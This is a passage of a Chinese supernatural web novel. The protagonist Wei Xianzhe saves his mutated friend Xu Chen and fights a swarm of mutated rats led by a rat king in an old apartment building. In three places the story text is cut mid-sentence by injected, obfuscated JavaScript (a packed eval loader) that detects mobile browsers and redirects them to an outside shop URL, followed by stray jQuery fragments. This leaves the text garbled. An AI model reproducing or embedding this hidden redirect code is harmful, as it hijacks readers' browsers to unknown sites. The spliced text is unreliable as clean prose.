说着,沈确走了过来,他看了安久一眼,眼中带着疑惑,目光在安久和危先折身上流流连,脸上的讶异毫不掩饰。 这才多久,危教授连对象都找到了? 沈确问:“这是?” 危先折看了已经躲到他身后的安久,不知道为什么,总觉得这一幕很熟悉,可他若是细想,太阳穴又是一阵针扎的疼,他揉了揉眉心,“一个朋友。” 沈确“喔”了一声,满脸写着不信。 他和危先折认识一年了,都没见危先折带谁开过房,就连偶尔领导来视察,给领导安排酒店和接待的活也都是让他负责的。 现在就这么好心带人家小漂亮来开房了? 危先折看出了沈确的想法,他心中有些不耐,又不想费心解释,只扯开话题问他:“你怎么来安市了?” “我爸让我过来学习下。”沈确耸了耸肩,“我大伯在安市有一家私人的研究室,我爸看我那么空,直接把我赶出来了。” 危先折轻轻颔首,实则完全没往心里去,他的注意力全部都落在了安久身上。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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危先折揉了揉眉心,忽略了脑海中时不时闪过的有几分模糊的画面,再次叮嘱道:“进去之后把门锁好,有陌生人敲门不要开门,有事情就找我。” 他难得为一个人人如此操心。 此时只把这一切归结于,他迫切的想要知道自己妻子的信息,完全没有意识到,自己的洁癖在面对安久的时候,几乎成倍地减半。 -- 临近傍晚,天空中的乌云倒是散了不少,只是天边挂着的夕阳,莫名的显现出一股血红色,路上的行人纷纷举起手机拍照。 危先折离开酒店时,看着太阳,眉心微微皱起,阳光打在他的侧脸上,勾勒出凌厉的轮廓。 他心中总有一股不祥的预感。 很快,这个预感成真了。 李潮识打来的电话里,语气十分急促,“许晨受伤了,他的畸变值突然涨到了81%,暂时失去了意识,你是他在安市最熟悉的人了,能过来看下吗?” 20.20点污染值 按特管局局长的说法,特管局的人数实在是不足,所以连许晨这种畸变值不低,本来应该减少异能使用次数的人,工作量也不少。 原本有李潮识他们小队带着,按理来说不会发生这些意外的。 可偏偏意外就是发生了。 李潮识的声音有些哑,“我把地址发你了。” 许晨现在的畸变值已经达到81%,这已经是能对外扩散污染的程度了,再往上,一旦他的畸变值升高到90%……他不是危先折,没有凭空让畸变值下降的能力,那么等待他的,只剩下了一条路。 李潮识闭上眼,眼眶中的红血丝毫不掩饰,又朝许晨检测了一下,就这么几分钟,他的畸变值又升高了,他哑声道:“82%了,你要是能赶过来,麻烦快一点。” 他们要在许晨的畸变值升到90%之前,将许晨唤醒,只要他醒过来,一切都好说。 此时危先折看了眼地址,发现距离他这边并不远,他回到小区车库里,打开车门坐进了主驾驶。 车灯闪了一下,很快,车子驶出小区。 导航播报着前进的路线和方向,危先折的目光落到前方,丝毫没有发现,一道虚影从他脚边蔓延而下,然后趴到了副驾驶上。 而这道虚影的占有欲十足,不仅目光朝向危先折紧紧地盯着他,身上也分出一小支,从危先折的衣角逐渐向上,直到贴近了他的脖颈,亲昵地蹭了蹭。 车子很快到达目的地,这里是一处老旧的居民楼,楼外拉起了警戒线,除了看戏的路人外,连原本的居民都被烂在了外面。 武警部队持枪站在警戒线内,危先折刚穿越人群,就看到了满脸急色的成乐。 成乐见到危先折后,眼睛瞬间一亮,挤开前面的几人,快步走到危先折面前,伸手就想抓住危先折的手腕。 危先折第一时间避开。 而成乐也感觉手掌心突然一麻,仿佛触电了一般,他猛地收回手,见危先折眉心微微蹙起,这才意识到自己逾矩了,他连忙道:“和我来吧,老大他们都在里面。” 危先折抬脚跟上,观察环境的同时,眼角的余光却落到了自己的袖口。 刚刚他好像看到了一个黑影,只是不知道是不是光影变动间他产生的错觉。 他没看到,那道虚影缠着他的手背逐渐向上,亲昵地靠在他的肩头,却伸出一缕细丝,朝成乐的方向而去。 然而,还没碰到成乐,就猛地意识到了什么,有些心虚地缩了缩。 -- 危先折跟着成乐往居民楼里走,这里的楼房比较老旧,墙面上随处可见的灰尘和污渍,还能看到几个漆黑的手印,不知道是谁按上去的,还有一些粘在墙上的小疙瘩。 这一切的一切,都在挑战危先折的洁癖。 他从口袋里掏出一个口罩,当着成乐的面戴了上去,又仿佛百宝箱一般,拿出一双手套,手指本就骨节分明,手套戴上之后,更显得修长。 成乐尴尬地摸了摸后脑勺:“这里是老小区了,周边经济也不发达,年轻人要么往外跑,要么在其他区买房子了,剩下来住的都是一些年纪大的老人,还有一部分是残疾人,行动不便,久而久之的,对这些就不是很在意了。” 危先折颔首表示理解。 这栋楼是回廊型的,一共四层,每一层都有十来户,每一户的房子都不大,墙也薄,隔音不好,楼上楼下发生什么整栋楼都能听得清清楚楚。 特管局在这一块区域内检测到了污染,可还没来得及排查,就接到了警方转移过来的报案。 报案的正是这栋楼二楼的一对夫妻。 成乐边带路边解释:“我们检测到的污染值不高,才11%,就带许晨一起过来了,他既然加入了特管局,该学的该看的一大堆,这次本来只是想带他多见识见识世面,可没想到这栋楼里的污染物是一群畸变的老鼠,它们数量太多了,我们一时没防备……” 成乐脸上的懊悔毫不掩饰:“许晨是被一只老鼠咬了一口之后才昏迷的,昏迷之后畸变值就一直在涨。” 危先折的表情沉了沉。 这时他们已经走到了居民楼的四楼,成乐推开一扇摇摇欲坠的门,“就在这里了。” 门内是一个被杂物堆满的房子,两室一厅,过道几乎被折叠好的纸板箱和饮料瓶挤满,一眼就看得出这家人是靠这些生活的。 有个阳台,里面摆了一个煤气灶,和一张小桌子,这就充当厨房了。阳台外拉了一根线,上面还挂着一件黑色的短袖,短袖洗得有点发白,风一吹就轻轻晃动。 房子里的灯不是很亮,危先折跟着成乐走进其中一间房,房间窗帘拉着,里面漆黑一片,是因为许晨被老鼠咬之后,有些畏光,一旦拉开窗帘,他即便已经昏迷,也会疯狂地挣扎大叫。 听到动静,李潮识第一时间站了起来,看到是成乐和危先折,心下一松。 他的脸上带着几分愧疚:“抱歉,是我没保护好许晨。” 说着,李潮识让开了一个位置,让危先折走进去。 许晨正躺在床上,说是床,其实就是一块大点的木板和两把长凳搭建的。上面的被褥掀开放到了地上,许晨则躺在木板上。 他眉头紧锁,额头满是冷汗,紧咬着牙关,身上却不停地抖动,仿佛承受着巨大的痛苦一般。 危先折回国后就进了SA研究基地,许晨是他在基地认识的唯一一个关系不错的朋友。 看到这幅画面,口罩下,危先折的脸冷了冷。 他眼中一道金光闪过,便清清楚楚看到了许晨身上鳞次栉比的鱼鳞,以及脚踝处,从那流着脓血的,巴掌大的伤口处逐渐往上蔓延的灰色鼠毛。 这应该就是被那只畸变的老鼠咬上的位置。 许晨畸变值的升高,应该也是来源于此。 李潮识低声道:“他现在没有意识,我想让你喊他的名字,要是能叫醒他就好,要是叫不醒……” 现在居民都在外面看着,为了不引起恐慌,他们只能暂时待在这里。 特管局成立的时间不长,现在所有人对诡异都仍然处于摩挲当中,畸变值是个可怕的东西,虽然感染后可能激发异能,但是如果能选择,特管局里百分之八十的人怕是宁愿自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730242|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个普通人,也不愿意为了这所谓的异能而承受畸变带来的负面影响。 现在许晨能靠的只有自己,他要是醒过来,靠自己挺过去,那皆大欢喜。 如若不然…… “是我这个做队长的没有尽好责任,等回到局里,我会向上面打报告,什么惩罚我都认,只是现在,危先折,算我求你,一定要唤醒他。” 李潮识咬着牙关,看着许晨毫无意识的目光,眼底满是痛色。 是他将许晨带进这个布满诡异和污染的世界,是他要将许晨带到这个小区,一切都是因为他。 “许晨若是醒了,看到他的队长这副颓靡的样子,怕是会失望。” 危先折语气冷淡,可李潮识听后,却直接冷静了下来,他看了眼自己的畸变值,上升了1个百分点,刚刚估计是被畸变值影响了。 他摸了一把脸,深吸一口气后,“我们先在外面等你。” 危先折点点头。 等他们将门合上,危先折才到许晨旁边半蹲下,抬起腕表对着许晨扫描了下,看着上面的数字,他眉心微微一蹙,又很快舒缓开来。 他才不相信李潮识口中的他是“许晨在安市最熟悉的人”这种鬼话,李潮识这番话骗骗成乐还行,他是半分不信。 李潮识也知道他不信。 只是他既然来了,就表明,他确实认可许晨这个朋友,而且,他确实有能力将许晨救回来。 这是李潮识对他异能的一次试探。 危先折冷笑一声,如果被他发现,今天许晨身上的意外是李潮识故意的,那就别怪他不讲道理。 这样想着,危先折的表情却依旧淡淡的,他手腕抬起,指尖便出现了一道金线,金线在昏暗的房间中仿佛一道明亮的光,以肉眼可见的速度缠绕在许晨身上。 随着许晨身上的黑线寸寸消失,危先折的脸色也白了起来。 不过这一次他没有像对待自己一样直接控制畸变值的大小,只是将许晨身上的污染尽数吞噬,没有了新的污染源,许晨身上的畸变值也停止上涨。 窗外明明种了树,却听不到鸟叫,风声叶不知道什么时候停了,仿佛这个世界都安静下来一般。 危先折收回手,一看时间,发现已经过去了十几分钟。 他起身,摘下已经被汗水沾湿的口罩,看着呼吸渐渐平稳的许晨,低声道:“该醒了。” 虚影心疼地贴了贴危先折的侧脸,又扭头看向许晨,作出一个拳击的姿势。 没一会儿,许晨的手指轻轻动了动,他艰难地睁开眼睛,随着视线的聚焦,许晨眼睛一眨,落到了危先折身上。 “兄弟,我是死了吗?”说着,他猛然反应过来,从木板上坐了起来,抬手颤抖着指着危先折,“你你你,你也死了?” 危先折:“……” “嘶,”许晨摸了摸后背,觉得有点硌得慌,低头一看,发现木板上还有一块凸起,他哭丧着脸,“我的棺材质量这么差的吗?我好歹是因公牺牲,不能因为我还没转正,连个好点的棺材都不给我准备吧?” 危先折:“…………” 21.21点污染值 难得在危先折脸上看到无语的表情,许晨一开始还有点纳闷,直到被危先折用看傻子一样的表情看着,他才猛的反应过来。 “我没死!” 许晨整个人从木板上跳了下来,满脸写着兴奋,“我竟然没死!老天爷真是开了眼了!居然没让我死!” 这是他的腕表滴滴报警,看着上面显示的83%,许晨兴奋的表情又瞬间僵住,他艰难地扭动脖子看向危先折,“我是眼花了吗?我的畸变值怎么突然……涨了这么多。” 说到后面,许晨的声音都哑了起来。 他突然意识到,死亡距离他并不遥远。 现在他还好端端的活着,但是死神的镰刀早已高高悬挂。 突然间,床板下传来咯吱咯吱的声音,仿佛有什么在啃食着木板一般。 许晨条件反射地直接掀开木板,同时往后退开一步。 定睛一看,木板下竟然密密麻麻躲着一窝老鼠。 它们的个头同三个月大的猫一般大小,此刻被惊动,幽绿的目光直勾勾地看过来 许晨脸色猛地一变,“是畸变的老鼠!” 警方正是接到这栋楼住户的报警,说家里总是有窸窸窣窣的声音,怀疑进了人,后来警方来探查时,却在小区里发现异常情况——楼里住户的身上,都检测出了零星的畸变值。 特管局虽然是保密部门,但是官方内部人员都知道它的存在,且因为诡异事件频发,警方也配备了几台检测污染值和畸变值的设备。 他们是真正基层一线工作的,发现非自然现象也能及时转交给特管局。 特管局接手后,还没找到污染源,就被这群畸变的老鼠袭击了。 老鼠的畸变值普遍都在80-85%之间,能保持正常的理智,可却随身携带污染。许晨就是不小心被咬了一口,自己的畸变值就狂飙了。 而眼前,掀翻的木板下,密密麻麻的全是老鼠,而且,顺着墙角看去,竟然有一个硕大的老鼠洞,里面散发着绿色的光,仔细看,那哪里是光,那分明是密密麻麻的老鼠的眼睛! “不行,这些老鼠太多了,我们对付不了。”许晨冷静下来,和这群老鼠对视着。 气氛一时之间有些僵持,这群老鼠似乎也在观察他们是否有威胁。 “千万不能被它们咬到,”许晨语气严肃,“你的畸变值也不低,我可不想看到你变成一个丑陋的诡异。” 危先折淡淡笑了笑,却毫不留情地反击:“放心,管好你自己。” 二人对视一眼,皆看出了对方眼中的笑意和坦然。 这时,似乎已经意识到眼前的两个人不足为惧,这群畸变的老鼠眼中纷纷闪过凶光,为首一只“吱吱”叫了一声,倏地一群老鼠便朝二人涌了过来。 许晨全身的肌肉瞬间又鼓胀了几分,他抬脚,从裤腿的绑带里取出一把刀,刀身很亮,一看就不是什么凡品。 有老鼠冲到了他身前,许晨举起刀狠狠砍了过去,竟然挥出了一道刀光,刀光斩下,一大片老鼠分为两半。 许晨得意地看了危先折一眼,吹了个口哨,“我这个武器不错吧?我的异能只是力量大了些,特管局特地给我配了这个武器,刚好能发挥出它12分的力量。” 危先折也没落后,掌心抬起,数百道看不见的金线将靠近的老鼠尽数拢住,吞噬掉老鼠身上的黑线的同时,将老鼠整只都拎了起来,又轻轻用力,只听数百道咔嚓声齐声响起,这些老鼠便瞬间软了下去。 许晨朝他竖起了大拇指。 里面的动静终于引起了外面的注意,李潮识和成乐迅速闯了进来,见到里面前仆后继的鼠群后,飞快反应过来加入了战斗。 李潮识掌心骰子转动飞快,成乐手里的罗盘也发出耀眼的白光。 鼠群的攻击很快得到了遏制,可是,它们的数量实在太过庞大,即使已经杀死了很多,也依旧有成批成批的鼠群从鼠洞里涌了出去。 这些发生畸变的老鼠,体型比普通的老鼠大不说,连牙齿都尖锐不少,危先折看着不断涌出的老鼠,合理怀疑这栋楼都被它们咬穿了。 李潮识小队里的谢立冬和沈翊在做其他任务,这里的异能者,算上危先折也就四个人,四个人想要消灭成千上万的老鼠,即便有异能加持,也是一件几乎不可能的事情。 况且…… 危先折朝老鼠洞看了一眼,他怀疑污染源就在老鼠洞里,或者说,那只造成鼠群成片畸变的诡异,就藏在鼠洞里。 李潮识显然也意识到了这一点。 他掌心骰子转动,看着显示的1,脸色猛地一沉,再次转动,加大异能输入,骰子才勉勉强强转到了2。 他心更沉了。 概率太低了。 危先折看到了上面的数字,他和李潮识对视一眼,又一齐动手将眼前的一拨老鼠尽数斩杀。 “这样下去不行。”李潮识按下了求助按钮,讯号直接接进了特管局,他语气严肃,“请求支援,地址在北坊小区1幢,这里有大量的畸变鼠群,诡异还未露面,现场4个异能者,我需要再来一位强攻击性的异能者。” 对方很快回应:“我让沈翊过去。” 沈翊的异能是烈焰,足以烧尽一切的烈焰。老鼠本就怕火,让沈翊过来再好不过。 李潮识应了一声,又道:“鼠群数量太多,怀疑已经向小区外扩散,申请让后勤组对方圆十公里进行排查,而且不排除刚刚有老鼠逃出小区的可能性。” 对方语气瞬间凝重起来:“马上安排。” 李潮识这才缓缓吐出一口气,可这口气还没吐完,突然听到耳边传来一句“小心”,他扭过头,就见一只灰皮鼠从角落蹿出,冲着他的耳朵咬来。 李潮识一惊,刚要避开,灰皮鼠突然被定在了半空,下一刻仿佛有一只无形的手,啪嗒一声,将它的脖子扭断。 整个过程,半秒都不到。 李潮识看向危先折,“多谢。” 危先折收回目光,语气淡淡的,“举手之劳。” 成乐也用感激的目光看向危先折,他看得出来,刚刚那只灰皮鼠的速度很快,李潮识是躲不开的,要是没有危先折,李潮识100%受伤,受伤是小事,畸变值上涨才是不可逆的伤害。 然而就在这个瞬间,许晨猛地大叫一声:“看那里!” 他们同时往鼠群的方向看去,只见鼠群突然停下攻击,紧接着,一只身形有成年缅因猫大小的白鼠,从墙角的老鼠洞里钻了出来。 它的身形太大,在钻出洞口时还卡了一瞬。 这只白鼠长了一双极其具有人性的豆豆眼,它的腹部鼓胀得厉害,乍一眼看去,仿佛里面有什么东西在蠕动。 鼠群突然掀起此起彼伏的“吱吱”声。 李潮识几人警惕地看着这只白鼠,危先折拿起腕表扫描了一下,显示污染值23%,很显然,它就是造成这些鼠群畸变的诡异。 成乐呢喃道:“这是鼠王吧……鼠王变成了诡异,怪不得鼠群全被污染产生了畸变。” 危先折的目光从它的腹部一闪而过,“怕不止是鼠王……这群畸变鼠,可能都是从它肚子里钻出来的。” 成乐一愣:“这不是公鼠吗?”刚刚白鼠从老鼠洞里钻出来的时候,他瞄到了一眼,一般来说老鼠的生殖器是比较小的,但是这只白鼠体型都能比得上一只狗了,他自然看得清清楚楚 。 危先折目光淡淡:“所以说它是诡异。” 老鼠的繁殖能力很强,可是再强,在有天敌的情况下,还能繁衍出这个数量,明显是不合理的。 只是诡异本身就是不合理的。 一只公鼠能繁衍更不合理。 危先折面上挂着淡淡的笑:“看,它又要生了。” 众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738009|143186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看去。 只见白鼠肚子突然一阵蠕动,它立马躺倒,身后几只灰皮鼠连忙给它当垫子,白鼠伸出爪子,尖锐的指甲从自己的肚皮上划过,还没划开,就有一群小灰皮鼠争先恐后的挤出一个洞口,从里面钻了出来。 隐约间还能看到白鼠腹部那些黑色的器官。 许晨捂住嘴干呕了一下,“原来是这个钻法。” 小灰皮鼠钻出来后,很快就发出了尖锐的叫声,它们扒着给白鼠当垫子的那几只灰皮鼠,毫不留情地咬了上去。 咯吱咯吱的啃食声响起,没一会儿,白鼠身上就凝聚出一滩血迹。 这些小灰皮鼠也不嫌弃,一边叫一边将血迹都舔舐干净。 可很显然,它们还没吃饱。 刚刚从白鼠肚子里钻出来的老鼠,保守估计都有几百只,它们长得也很快,就这么一分钟不到,就从原本的手指大小,变成了拳头大小。 这时,还没完全吃饱的小灰皮鼠们,纷纷将目光落到了危先折一行人身上。 几人心中警铃大作。 白鼠顺着小灰皮鼠的目光看过来,它刚刚开膛破肚过,此时还有些虚弱,也需要大量的食物。 它的爪子捂住自己的腹腔,贪婪的目光却看向了危先折。 这个人,很香。 似乎感受到了鼠王的指令,在场的所有老鼠再一次朝众人发起攻击。 这一次的攻势尤为猛烈。 先前它们只是在攻击入侵者,而这一次,明显已经把他们当做鼠王和新生鼠的食物了。 好在众人配合默契,杀死了一波又一波的老鼠。 白鼠的眼珠子原本正滴溜溜地转着,可后来,看着自己的子民被成片的杀死,它猛地发出一声尖锐的长啸。 空气安静了一瞬间。 可下一瞬,这栋楼都发出了震颤,仿佛有什么东西在楼道里跑酷一般。 危先折却猛地反应过来。 不是楼道里,而是墙壁里! 这群老鼠,真的把整栋楼的墙壁蛀空了! 四人背靠着站稳,目光却警惕地看着眼前的白鼠。 楼房里的震颤声越来越大,鼠王看向危先折的目光愈发热烈,它似乎已经看到危先折被它的子民压到它面前,供它享用的画面了 。 好香。 鼠王的口水化为一道透明的长线,挂在了它的嘴边。 注意到白鼠的目光,危先折眉心狠狠皱了皱。 白鼠再一次发出尖锐的长啸。 躲在墙壁里的鼠群们愈发激动,它们不停在洞穴里奔跑着,突然间,一声剧烈的“轰”,这栋楼仿佛遭受了地震一般,直接倒了下去,化为一片废墟。 中空的墙体承受不住楼层原本的重量,鼠群们又在墙内疯狂破坏,坍塌是注定的事情。 在楼层坍塌的一瞬间,四人冲向门外,从外面的走廊上跳了下去。 四层的楼高不高不低,对几名异能者来说,摔不死人,最多摔断腿,不是什么大事。 可要是被埋在里面,有一群密密麻麻的老鼠觊觎着,怕是还没逃出来,就已经被啃食成了一个骨架。 白鼠还动不了,它眼睁睁地看着危先折几人跑走,眼底的恶意瞬间浓郁起来,它随手抓起身边的几只灰皮鼠,丢进嘴里一下又一下咀嚼起来。 难吃!难吃!难吃! 轰隆一声,烟尘四起,白鼠也被埋在了废墟之下,可成千上万的灰皮鼠挡在它面前,它完好无损,灰皮鼠们倒是鲜血淋漓。 吃饱的白鼠腹部很快痊愈,它颤颤巍巍地站起身,从废墟的裂隙中看着不远处满脸震惊的一群居民,贪念瞬间放大。 吃!吃!吃! 它撑在一只灰皮鼠的脑骨上,一声长啸后,密密麻麻的灰皮鼠从废墟下钻了出来。 直起身,幽绿的目光缓缓转向了警戒线外的一群人。